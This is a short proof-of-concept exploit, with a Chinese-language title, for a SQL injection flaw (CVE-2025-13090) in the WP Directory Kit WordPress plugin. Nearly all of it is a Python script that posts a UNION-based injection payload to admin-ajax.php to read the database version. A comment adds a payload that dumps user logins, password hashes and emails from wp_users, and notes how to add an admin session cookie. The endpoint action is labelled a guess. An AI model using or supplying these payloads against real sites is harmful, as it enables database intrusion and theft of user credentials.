CVE-2025-13090 WP Directory Kit插件SQL注入漏洞

import requests import sys # CVE-2025-13090 PoC - WP Directory Kit SQL Injection # Target: WordPress site with WP Directory Kit plugin <= 1.4.6 # Authentication: Requires Administrator-level access def exploit_sqli(target_url, search_param): """ SQL Injection payload for CVE-2025-13090 The 'search' parameter is vulnerable to SQL injection """ # Target endpoint - typically in plugin's search functionality endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # SQL Injection payload - extracts database version # Original query is appended with UNION-based injection injection_payload = f"' UNION SELECT NULL,NULL,@@version,NULL,NULL-- -" # Prepare the request parameters params = { 'action': 'wdk_search', # Common action name for directory search 'search': injection_payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: print(f"[*] Sending SQL injection payload to {endpoint}") print(f"[*] Payload: {injection_payload}") response = requests.post(endpoint, data=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response length: {len(response.text)} bytes") # Check for database version in response if 'mysql' in response.text.lower() or any(char.isdigit() for char in response.text[:200]): print("[+] Potential successful injection detected") return response.text[:500] else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13090.py <target_url>") print("Example: python cve-2025-13090.py https://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target, 'search') # Additional payload for extracting users table: # ' UNION SELECT user_id,user_login,user_pass,user_email,NULL FROM wp_users-- - # # Note: This PoC requires valid WordPress administrator session cookie # Add cookie to request headers: # headers['Cookie'] = 'wordpress_logged_in_xxx=session_hash'